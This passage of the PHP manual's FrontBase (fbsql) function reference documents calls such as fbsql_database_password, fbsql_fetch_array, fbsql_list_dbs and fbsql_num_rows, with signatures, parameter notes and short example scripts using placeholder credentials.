$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");

fbsql_select_db("samp_db")
    or die("Could not select database");

$query = "SELECT last_name, first_name FROM friends;";
$result = fbsql_query($query)
    or die("Query failed");

// fetch rows in reverse order

for ($i = fbsql_num_rows($result) - 1; $i >=0; $i--) {
    if (!fbsql_data_seek($result, $i)) {
        printf("Cannot seek to row %d\n", $i);
        continue;
    }

    if (!($row = fbsql_fetch_object($result)))
        continue;

    echo $row->last_name . $row->first_name . "<br />\n";
}

fbsql_free_result($result);
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets or retrieves the password for a FrontBase database

  • « fbsql_data_seek
  • fbsql_database »
  • PHP Manual
  • FrontBase Functions
  • Sets or retrieves the password for a FrontBase database

fbsql_database_password

(PHP 4 >= 4.0.6, PHP 5)

fbsql_database_password — Sets or retrieves the password for a FrontBase database

Description

string fbsql_database_password ( resource $link_identifier [, string $database_password ] )

Sets and retrieves the database password used by the connection. If a database is protected by a database password, the user must call this function before calling fbsql_select_db().

If no link is open, the function will try to establish a link as if fbsql_connect() was called, and use it.

This function does not change the database password in the database nor can it be used to retrieve the database password for a database.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

database_password

The database password, as a string. If given, the function sets the database password for the specified link identifier.

Return Values

Returns the database password associated with the link identifier.

Examples

Example #1 fbsql_create_clob() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
fbsql_database_password($link, "secret db password");
fbsql_select_db($database, $link);
?>

See Also

  • fbsql_connect() - Open a connection to a FrontBase Server
  • fbsql_pconnect() - Open a persistent connection to a FrontBase Server
  • fbsql_select_db() - Select a FrontBase database

User Contributed Notes

There are no user contributed notes for this page.


Get or set the database name used with a connection

  • « fbsql_database_password
  • fbsql_db_query »
  • PHP Manual
  • FrontBase Functions
  • Get or set the database name used with a connection

fbsql_database

(PHP 4 >= 4.0.6, PHP 5)

fbsql_database — Get or set the database name used with a connection

Description

string fbsql_database ( resource $link_identifier [, string $database ] )

Get or set the database name used with the connection.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

database

The database name. If given, the default database of the connexion will be changed to database.

Return Values

Returns the name of the database used with this connection.

User Contributed Notes

There are no user contributed notes for this page.


Send a FrontBase query

  • « fbsql_database
  • fbsql_db_status »
  • PHP Manual
  • FrontBase Functions
  • Send a FrontBase query

fbsql_db_query

(PHP 4 >= 4.0.6, PHP 5)

fbsql_db_query — Send a FrontBase query

Description

resource fbsql_db_query ( string $database , string $query [, resource $link_identifier ] )

Selects a database and executes a query on it.

Parameters

database

The database to be selected.

query

The SQL query to be executed.

Note:

The query string shall always end with a semicolon.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a positive FrontBase result identifier to the query result, or FALSE on error.

See Also

  • fbsql_query() - Send a FrontBase query
  • fbsql_connect() - Open a connection to a FrontBase Server

User Contributed Notes

There are no user contributed notes for this page.


Get the status for a given database

  • « fbsql_db_query
  • fbsql_drop_db »
  • PHP Manual
  • FrontBase Functions
  • Get the status for a given database

fbsql_db_status

(PHP 4 >= 4.0.7, PHP 5)

fbsql_db_status — Get the status for a given database

Description

int fbsql_db_status ( string $database_name [, resource $link_identifier ] )

Gets the current status of the specified database.

Parameters

database_name

The database name.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns an integer value with the current status. This can be one of the following constants:

  • FALSE - The exec handler for the host was invalid. This error will occur when the link_identifier connects directly to a database by using a port number. FBExec can be available on the server but no connection has been made for it.
  • FBSQL_UNKNOWN - The Status is unknown.
  • FBSQL_STOPPED - The database is not running. Use fbsql_start_db() to start the database.
  • FBSQL_STARTING - The database is starting.
  • FBSQL_RUNNING - The database is running and can be used to perform SQL operations.
  • FBSQL_STOPPING - The database is stopping.
  • FBSQL_NOEXEC - FBExec is not running on the server and it is not possible to get the status of the database.

See Also

  • fbsql_start_db() - Start a database on local or remote server
  • fbsql_stop_db() - Stop a database on local or remote server

User Contributed Notes

There are no user contributed notes for this page.


Drop (delete) a FrontBase database

  • « fbsql_db_status
  • fbsql_errno »
  • PHP Manual
  • FrontBase Functions
  • Drop (delete) a FrontBase database

fbsql_drop_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_drop_db — Drop (delete) a FrontBase database

Description

bool fbsql_drop_db ( string $database_name [, resource $link_identifier ] )

fbsql_drop_db() attempts to drop (remove) an entire database from the server associated with the specified link identifier.

Parameters

database_name

The database name, as a string.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_create_db() - Create a FrontBase database

User Contributed Notes

There are no user contributed notes for this page.


Returns the error number from previous operation

  • « fbsql_drop_db
  • fbsql_error »
  • PHP Manual
  • FrontBase Functions
  • Returns the error number from previous operation

fbsql_errno

(PHP 4 >= 4.0.6, PHP 5)

fbsql_errno — Returns the error number from previous operation

Description

int fbsql_errno ([ resource $link_identifier ] )

Returns the numerical value of the error message from previous FrontBase operation.

Errors coming back from the fbsql database backend don't issue warnings. Instead, use fbsql_errno() to retrieve the error code. Note that this function only returns the error code from the most recently executed fbsql function (not including fbsql_error() and fbsql_errno()), so if you want to use it, make sure you check the value before calling another fbsql function.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns the error number from the last fbsql function, or 0 (zero) if no error occurred.

Examples

Example #1 fbsql_errno() Example

<?php
fbsql_connect("marliesle");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
fbsql_select_db("nonexistentdb");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
$conn = fbsql_query("SELECT * FROM nonexistenttable;");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
?>

See Also

  • fbsql_error() - Returns the error message from previous operation
  • fbsql_warnings() - Enable or disable FrontBase warnings

User Contributed Notes

There are no user contributed notes for this page.


Returns the error message from previous operation

  • « fbsql_errno
  • fbsql_fetch_array »
  • PHP Manual
  • FrontBase Functions
  • Returns the error message from previous operation

fbsql_error

(PHP 4 >= 4.0.6, PHP 5)

fbsql_error — Returns the error message from previous operation

Description

string fbsql_error ([ resource $link_identifier ] )

Returns the error message from previous FrontBase operation.

Errors coming back from the fbsql database backend don't issue warnings. Instead, use fbsql_error() to retrieve the error text. Note that this function only returns the error code from the most recently executed fbsql function (not including fbsql_error() and fbsql_errno()), so if you want to use it, make sure you check the value before calling another fbsql function.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns the error text from the last fbsql function, or '' (the empty string) if no error occurred.

Examples

Example #1 fbsql_error() Example

<?php
fbsql_connect("marliesle");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
fbsql_select_db("nonexistentdb");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
$conn = fbsql_query("SELECT * FROM nonexistenttable;");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
?>

See Also

  • fbsql_errno() - Returns the error number from previous operation
  • fbsql_warnings() - Enable or disable FrontBase warnings

User Contributed Notes

There are no user contributed notes for this page.


Fetch a result row as an associative array, a numeric array, or both

  • « fbsql_error
  • fbsql_fetch_assoc »
  • PHP Manual
  • FrontBase Functions
  • Fetch a result row as an associative array, a numeric array, or both

fbsql_fetch_array

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_array — Fetch a result row as an associative array, a numeric array, or both

Description

array fbsql_fetch_array ( resource $result [, int $result_type ] )

fbsql_fetch_array() is a combination of
fbsql_fetch_row() and
fbsql_fetch_assoc().

An important thing to note is that using fbsql_fetch_array() is NOT significantly slower than using fbsql_fetch_row(), while it provides a significant added value.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

result_type

A constant and can take the following values: FBSQL_ASSOC, FBSQL_NUM, or FBSQL_BOTH.

When using FBSQL_BOTH, in addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you must the numeric index of the column or make an alias for the column.

select t1.f1 as foo t2.f1 as bar from t1, t2

Examples

Example #1 fbsql_fetch_array() example

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select user_id, fullname from table");
while ($row = fbsql_fetch_array($result)) {
    echo "user_id: " . $row["user_id"] . "<br />\n";
    echo "user_id: " . $row[0] . "<br />\n";
    echo "fullname: " . $row["fullname"] . "<br />\n";
    echo "fullname: " . $row[1] . "<br />\n";
}
fbsql_free_result($result);
?>

See Also

  • fbsql_fetch_row() - Get a result row as an enumerated array
  • fbsql_fetch_assoc() - Fetch a result row as an associative array
  • fbsql_fetch_object() - Fetch a result row as an object

User Contributed Notes

There are no user contributed notes for this page.


Fetch a result row as an associative array

  • « fbsql_fetch_array
  • fbsql_fetch_field »
  • PHP Manual
  • FrontBase Functions
  • Fetch a result row as an associative array

fbsql_fetch_assoc

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_assoc — Fetch a result row as an associative array

Description

array fbsql_fetch_assoc ( resource $result )

Calling fbsql_fetch_assoc() is equivalent to calling fbsql_fetch_array() with FBSQL_ASSOC as second parameter. It only returns an associative array.

This is the way fbsql_fetch_array() originally worked. If you need the numeric indices as well as the associative, use fbsql_fetch_array().

An important thing to note is that using fbsql_fetch_assoc() is NOT significantly slower than using fbsql_fetch_row(), while it provides a significant added value.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns an associative array that corresponds to the fetched row, or FALSE if there are no more rows.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you must use fbsql_fetch_array() and have it return the numeric indices as well.

Examples

Example #1 fbsql_fetch_assoc() example

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select * from table");
while ($row = fbsql_fetch_assoc($result)) {
    echo $row["user_id"];
    echo $row["fullname"];
}
fbsql_free_result($result);
?>

See Also

  • fbsql_fetch_row() - Get a result row as an enumerated array
  • fbsql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • fbsql_fetch_object() - Fetch a result row as an object

User Contributed Notes

There are no user contributed notes for this page.


Get column information from a result and return as an object

  • « fbsql_fetch_assoc
  • fbsql_fetch_lengths »
  • PHP Manual
  • FrontBase Functions
  • Get column information from a result and return as an object

fbsql_fetch_field

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_field — Get column information from a result and return as an object

Description

object fbsql_fetch_field ( resource $result [, int $field_offset ] )

Used in order to obtain information about fields in a certain query result.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

field_offset

The numerical offset of the field. The field index starts at 0. If not specified, the next field that wasn't yet retrieved by fbsql_fetch_field() is retrieved.

Return Values

Returns an object containing field information, or FALSE on errors.

The properties of the object are:

  • name - column name
  • table - name of the table the column belongs to
  • max_length - maximum length of the column
  • not_null - 1 if the column cannot be NULL
  • type - the type of the column

Examples

Example #1 fbsql_fetch_field() example

<?php
fbsql_connect($host, $user, $password)
    or die("Could not connect");
$result = fbsql_db_query("database", "select * from table")
    or die("Query failed");
# get column metadata
$i = 0;
while ($i < fbsql_num_fields($result)) {
    echo "Information for column $i:<br />\n";
    $meta = fbsql_fetch_field($result);
    if (!$meta) {
        echo "No information available<br />\n";
    }
    echo "<pre>
max_length:   $meta->max_length
name:         $meta->name
not_null:     $meta->not_null
table:        $meta->table
type:         $meta->type
</pre>";
    $i++;
}
fbsql_free_result($result);
?>

See Also

  • fbsql_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

There are no user contributed notes for this page.


Get the length of each output in a result

  • « fbsql_fetch_field
  • fbsql_fetch_object »
  • PHP Manual
  • FrontBase Functions
  • Get the length of each output in a result

fbsql_fetch_lengths

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_lengths — Get the length of each output in a result

Description

array fbsql_fetch_lengths ( resource $result )

Stores the lengths of each result column in the last row returned by
fbsql_fetch_row(),
fbsql_fetch_array() and
fbsql_fetch_object() in an array.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns an array, starting at offset 0, that corresponds to the lengths of each field in the last row fetched by fbsql_fetch_row(), or FALSE on error.

See Also

  • fbsql_fetch_row() - Get a result row as an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Fetch a result row as an object

  • « fbsql_fetch_lengths
  • fbsql_fetch_row »
  • PHP Manual
  • FrontBase Functions
  • Fetch a result row as an object

fbsql_fetch_object

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_object — Fetch a result row as an object

Description

object fbsql_fetch_object ( resource $result )

fbsql_fetch_object() is similar to fbsql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

Speed-wise, the function is identical to fbsql_fetch_array(), and almost as quick as fbsql_fetch_row() (the difference is insignificant).

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 fbsql_fetch_object() example

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select * from table");
while ($row = fbsql_fetch_object($result)) {
    echo $row->user_id;
    echo $row->fullname;
}
fbsql_free_result($result);
?>

See Also

  • fbsql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • fbsql_fetch_row() - Get a result row as an enumerated array
  • fbsql_fetch_assoc() - Fetch a result row as an associative array

User Contributed Notes

There are no user contributed notes for this page.


Get a result row as an enumerated array

  • « fbsql_fetch_object
  • fbsql_field_flags »
  • PHP Manual
  • FrontBase Functions
  • Get a result row as an enumerated array

fbsql_fetch_row

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_row — Get a result row as an enumerated array

Description

array fbsql_fetch_row ( resource $result )

fbsql_fetch_row() fetches one row of data from the result associated with the specified result identifier.

Subsequent call to fbsql_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns an array that corresponds to the fetched row where each result column is stored in an offset, starting at offset 0, or FALSE if there are no more rows.

See Also

  • fbsql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • fbsql_fetch_assoc() - Fetch a result row as an associative array
  • fbsql_fetch_object() - Fetch a result row as an object
  • fbsql_data_seek() - Move internal result pointer
  • fbsql_fetch_lengths() - Get the length of each output in a result
  • fbsql_result() - Get result data

User Contributed Notes

There are no user contributed notes for this page.


Get the flags associated with the specified field in a result

  • « fbsql_fetch_row
  • fbsql_field_len »
  • PHP Manual
  • FrontBase Functions
  • Get the flags associated with the specified field in a result

fbsql_field_flags

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_flags — Get the flags associated with the specified field in a result

Description

string fbsql_field_flags ( resource $result [, int $field_offset ] )

Gets the flags associated with the specified field in a result.

Parameters

result

A result pointer returned by fbsql_list_fields().

field_offset

The numerical offset of the field. The field index starts at 0.

Return Values

Returns the field flags of the specified field as a single word per flag separated by a single space, so that you can split the returned value using explode().

User Contributed Notes

There are no user contributed notes for this page.


Returns the length of the specified field

  • « fbsql_field_flags
  • fbsql_field_name »
  • PHP Manual
  • FrontBase Functions
  • Returns the length of the specified field

fbsql_field_len

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_len — Returns the length of the specified field

Description

int fbsql_field_len ( resource $result [, int $field_offset ] )

Returns the length of the specified field.

Parameters

result

A result pointer returned by fbsql_list_fields().

field_offset

The numerical offset of the field. The field index starts at 0.

Return Values

Returns the length of the specified field.

User Contributed Notes

There are no user contributed notes for this page.


Get the name of the specified field in a result

  • « fbsql_field_len
  • fbsql_field_seek »
  • PHP Manual
  • FrontBase Functions
  • Get the name of the specified field in a result

fbsql_field_name

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_name — Get the name of the specified field in a result

Description

string fbsql_field_name ( resource $result [, int $field_index ] )

Returns the name of the specified field index.

Parameters

result

A result pointer returned by fbsql_list_fields().

field_index

The numerical offset of the field. The field index starts at 0.

Return Values

Returns the name as a string, or FALSE if the field doesn't exist.

Examples

Example #1 fbsql_field_name() example

<?php
// The users table consists of three fields:
//   user_id
//   username
//   password.

$res = fbsql_db_query("users", "select * from users", $link);

echo fbsql_field_name($res, 0) . "\n";
echo fbsql_field_name($res, 2);
?>

The above example will output:

user_id
password

See Also

  • fbsql_field_type() - Get the type of the specified field in a result

User Contributed Notes

There are no user contributed notes for this page.


Set result pointer to a specified field offset

  • « fbsql_field_name
  • fbsql_field_table »
  • PHP Manual
  • FrontBase Functions
  • Set result pointer to a specified field offset

fbsql_field_seek

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_seek — Set result pointer to a specified field offset

Description

bool fbsql_field_seek ( resource $result [, int $field_offset ] )

Seeks to the specified field offset. If the next call to fbsql_fetch_field() doesn't include a field offset, the field offset specified in fbsql_field_seek() will be returned.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

field_offset

The numerical offset of the field. The field index starts at 0.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_fetch_field() - Get column information from a result and return as an object

User Contributed Notes

There are no user contributed notes for this page.


Get name of the table the specified field is in

  • « fbsql_field_seek
  • fbsql_field_type »
  • PHP Manual
  • FrontBase Functions
  • Get name of the table the specified field is in

fbsql_field_table

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_table — Get name of the table the specified field is in

Description

string fbsql_field_table ( resource $result [, int $field_offset ] )

Returns the name of the table that the specified field is in.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

field_offset

The numerical offset of the field. The field index starts at 0.

Return Values

Returns the name of the table, as a string.

User Contributed Notes

There are no user contributed notes for this page.


Get the type of the specified field in a result

  • « fbsql_field_table
  • fbsql_free_result »
  • PHP Manual
  • FrontBase Functions
  • Get the type of the specified field in a result

fbsql_field_type

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_type — Get the type of the specified field in a result

Description

string fbsql_field_type ( resource $result [, int $field_offset ] )

fbsql_field_type() is similar to the fbsql_field_name() function, but the field type is returned instead.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

field_offset

The numerical offset of the field. The field index starts at 0.

Return Values

Returns the field type, as a string.

This can be one of int, real, string, blob, and others as detailed in the » FrontBase documentation.

Examples

Example #1 fbsql_field_type() example

<?php

fbsql_connect("localhost", "_SYSTEM", "");
fbsql_select_db("wisconsin");
$result = fbsql_query("SELECT * FROM onek;");
$fields = fbsql_num_fields($result);
$rows   = fbsql_num_rows($result);
$i = 0;
$table = fbsql_field_table($result, $i);
echo "Your '" . $table . "' table has " . $fields . " fields and " . $rows . " records <br />";
echo "The table has the following fields <br />";
while ($i < $fields) {
    $type  = fbsql_field_type($result, $i);
    $name  = fbsql_field_name($result, $i);
    $len   = fbsql_field_len($result, $i);
    $flags = fbsql_field_flags($result, $i);
    echo $type . " " . $name . " " . $len . " " . $flags . "<br />";
    $i++;
}
fbsql_close();

?>

See Also

  • fbsql_field_name() - Get the name of the specified field in a result

User Contributed Notes

There are no user contributed notes for this page.


Free result memory

  • « fbsql_field_type
  • fbsql_get_autostart_info »
  • PHP Manual
  • FrontBase Functions
  • Free result memory

fbsql_free_result

(PHP 4 >= 4.0.6, PHP 5)

fbsql_free_result — Free result memory

Description

bool fbsql_free_result ( resource $result )

Frees all memory associated with the given result identifier.

fbsql_free_result() only needs to be called if you are concerned about how much memory is being used for queries that return large result sets. All associated result memory is automatically freed at the end of the script's execution.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « fbsql_free_result
  • fbsql_hostname »
  • PHP Manual
  • FrontBase Functions
  • Description

fbsql_get_autostart_info

(PHP 4 >= 4.0.7, PHP 5)

fbsql_get_autostart_info —

Description

array fbsql_get_autostart_info ([ resource $link_identifier ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

User Contributed Notes

There are no user contributed notes for this page.


Get or set the host name used with a connection

  • « fbsql_get_autostart_info
  • fbsql_insert_id »
  • PHP Manual
  • FrontBase Functions
  • Get or set the host name used with a connection

fbsql_hostname

(PHP 4 >= 4.0.6, PHP 5)

fbsql_hostname — Get or set the host name used with a connection

Description

string fbsql_hostname ( resource $link_identifier [, string $host_name ] )

Gets or sets the host name used with a connection.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

host_name

If provided, this will be the new connection host name.

Return Values

Returns the current host name used for the connection.

See Also

  • fbsql_username() - Get or set the username for the connection
  • fbsql_password() - Get or set the user password used with a connection

User Contributed Notes

There are no user contributed notes for this page.


Get the id generated from the previous INSERT operation

  • « fbsql_hostname
  • fbsql_list_dbs »
  • PHP Manual
  • FrontBase Functions
  • Get the id generated from the previous INSERT operation

fbsql_insert_id

(PHP 4 >= 4.0.6, PHP 5)

fbsql_insert_id — Get the id generated from the previous INSERT operation

Description

int fbsql_insert_id ([ resource $link_identifier ] )

Gets the id generated from the previous INSERT operation which created a DEFAULT UNIQUE value.

Note:

The value of the FrontBase SQL function fbsql_insert_id() always contains the most recently generated DEFAULT UNIQUE value, and is not reset between queries.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns the ID generated from the previous INSERT query, or 0 if the previous query does not generate an DEFAULT UNIQUE value.

If you need to save the value for later, be sure to call this function immediately after the query that generates the value.

See Also

  • fbsql_affected_rows() - Get number of affected rows in previous FrontBase operation

User Contributed Notes

There are no user contributed notes for this page.


List databases available on a FrontBase server

  • « fbsql_insert_id
  • fbsql_list_fields »
  • PHP Manual
  • FrontBase Functions
  • List databases available on a FrontBase server

fbsql_list_dbs

(PHP 4 >= 4.0.6, PHP 5)

fbsql_list_dbs — List databases available on a FrontBase server

Description

resource fbsql_list_dbs ([ resource $link_identifier ] )

Return a result pointer containing the databases available from the current fbsql daemon. Use the fbsql_tablename() to traverse this result pointer.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a result pointer or FALSE on error.

Examples

Example #1 fbsql_list_dbs() example

<?php
$link = fbsql_connect('localhost', 'myname', 'secret');
$db_list = fbsql_list_dbs($link);

while ($row = fbsql_fetch_object($db_list)) {
    echo $row->Database . "\n";
}
?>

The above example will output something similar to:

database1
database2
database3
...

Note:

The above code would just as easily work with fbsql_fetch_row() or other similar functions.

See Also

  • fbsql_list_fields() - List FrontBase result fields
  • fbsql_list_tables() - List tables in a FrontBase database

User Contributed Notes

There are no user contributed notes for this page.


List FrontBase result fields

  • « fbsql_list_dbs
  • fbsql_list_tables »
  • PHP Manual
  • FrontBase Functions
  • List FrontBase result fields

fbsql_list_fields

(PHP 4 >= 4.0.6, PHP 5)

fbsql_list_fields — List FrontBase result fields

Description

resource fbsql_list_fields ( string $database_name , string $table_name [, resource $link_identifier ] )

Retrieves information about the given table.

Parameters

database_name

The database name.

table_name

The table name.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a result pointer which can be used with the fbsql_field_xxx functions, or FALSE on error.

Errors/Exceptions

A string describing the error will be placed in $phperrmsg, and unless the function was called as @fbsql() then this error string will also be printed out.

Examples

Example #1 fbsql_list_fields() example

<?php
$link = fbsql_connect('localhost', 'myname', 'secret');

$fields = fbsql_list_fields("database1", "table1", $link);
$columns = fbsql_num_fields($fields);

for ($i = 0; $i < $columns; $i++) {
    echo fbsql_field_name($fields, $i) . "\n";;
}
?>

The above example will output something similar to:

field1
field2
field3
...

See Also

  • fbsql_field_len() - Returns the length of the specified field
  • fbsql_field_name() - Get the name of the specified field in a result
  • fbsql_field_type() - Get the type of the specified field in a result
  • fbsql_field_flags() - Get the flags associated with the specified field in a result

User Contributed Notes

There are no user contributed notes for this page.


List tables in a FrontBase database

  • « fbsql_list_fields
  • fbsql_next_result »
  • PHP Manual
  • FrontBase Functions
  • List tables in a FrontBase database

fbsql_list_tables

(PHP 4 >= 4.0.6, PHP 5)

fbsql_list_tables — List tables in a FrontBase database

Description

resource fbsql_list_tables ( string $database [, resource $link_identifier ] )

Returns a result pointer describing the database.

Parameters

database

The database name.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a result pointer which can be used with the fbsql_tablename() function to read the actual table names, or FALSE on error.

See Also

  • fbsql_list_fields() - List FrontBase result fields
  • fbsql_list_dbs() - List databases available on a FrontBase server

User Contributed Notes

There are no user contributed notes for this page.


Move the internal result pointer to the next result

  • « fbsql_list_tables
  • fbsql_num_fields »
  • PHP Manual
  • FrontBase Functions
  • Move the internal result pointer to the next result

fbsql_next_result

(PHP 4 >= 4.0.6, PHP 5)

fbsql_next_result — Move the internal result pointer to the next result

Description

bool fbsql_next_result ( resource $result )

When sending more than one SQL statement to the server or executing a stored procedure with multiple results will cause the server to return multiple result sets. This function will test for additional results available form the server. If an additional result set exists it will free the existing result set and prepare to fetch the words from the new result set.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns TRUE if an additional result set was available or FALSE otherwise.

Examples

Example #1 fbsql_next_result() example

<?php
$link = fbsql_connect("localhost", "_SYSTEM", "secret");
fbsql_select_db("MyDB", $link);
$SQL = "Select * from table1; select * from table2;";
$rs = fbsql_query($SQL, $link);
do {
    while ($row = fbsql_fetch_row($rs)) {
    }
} while (fbsql_next_result($rs));
fbsql_free_result($rs);
fbsql_close($link);
?>

User Contributed Notes

There are no user contributed notes for this page.


Get number of fields in result

  • « fbsql_next_result
  • fbsql_num_rows »
  • PHP Manual
  • FrontBase Functions
  • Get number of fields in result

fbsql_num_fields

(PHP 4 >= 4.0.6, PHP 5)

fbsql_num_fields — Get number of fields in result

Description

int fbsql_num_fields ( resource $result )

Returns the number of fields in the given result set.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns the number of fields, as an integer.

See Also

  • fbsql_db_query() - Send a FrontBase query
  • fbsql_query() - Send a FrontBase query
  • fbsql_fetch_field() - Get column information from a result and return as an object
  • fbsql_num_rows() - Get number of rows in result

User Contributed Notes

There are no user contributed notes for this page.


Get number of rows in result

  • « fbsql_num_fields
  • fbsql_password »
  • PHP Manual
  • FrontBase Functions
  • Get number of rows in result

fbsql_num_rows

(PHP 4 >= 4.0.6, PHP 5)

fbsql_num_rows — Get number of rows in result

Description

int fbsql_num_rows ( resource $result )

Gets the number of rows in the given result set.

This function is only valid for SELECT statements. To retrieve the number of rows returned from a INSERT, UPDATE or DELETE query, use fbsql_affected_rows().

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns the number of rows returned by the last SELECT statement.

Examples

Example #1 fbsql_num_rows() example

<?php

$link = fbsql_connect("localhost", "username", "password");
fbsql_select_db("database", $link);

$result = fbsql_query("SELECT * FROM table1;", $link);
$num_rows = fbsql_num_rows($result);

echo "$num_rows Rows\n";

?>

See Also

  • fbsql_affected_rows() - Get number of affected rows in previous FrontBase operation
  • fbsql_connect() - Open a connection to a FrontBase Server
  • fbsql_select_db() - Select a FrontBase database
  • fbsql_query() - Send a FrontBase query

User Contributed Notes

daggillies at yahoo dot com 05-Apr-2002 09:29
Note that this function will not always return the actual size of a result set. For example, if you are doing a two-table join along the lines of "SELECT * FROM T1,T2 where T1.x=T2.x" you will get a result of -1. This is due to the 'lazy execution' model in FrontBase whereby result rows are only returned as you request them. If you absolutely have to have the number of rows in advance then you will have to use COUNT(*) first. Most of the time you do not need to know the exact number of rows; it is good enough to know if the size of the result set is non-zero.

David Gillies
San Jose
Costa Rica


Get or set the user password used with a connection

  • « fbsql_num_rows
  • fbsql_pconnect »
  • PHP Manual
  • FrontBase Functions
  • Get or set the user password used with a connection

fbsql_password

(PHP 4 >= 4.0.6, PHP 5)

fbsql_password — Get or set the user password used with a connection

Description

string fbsql_password ( resource $link_identifier [, string $password ] )

Get or set the user password used with a connection.

Parameters

link_identifier

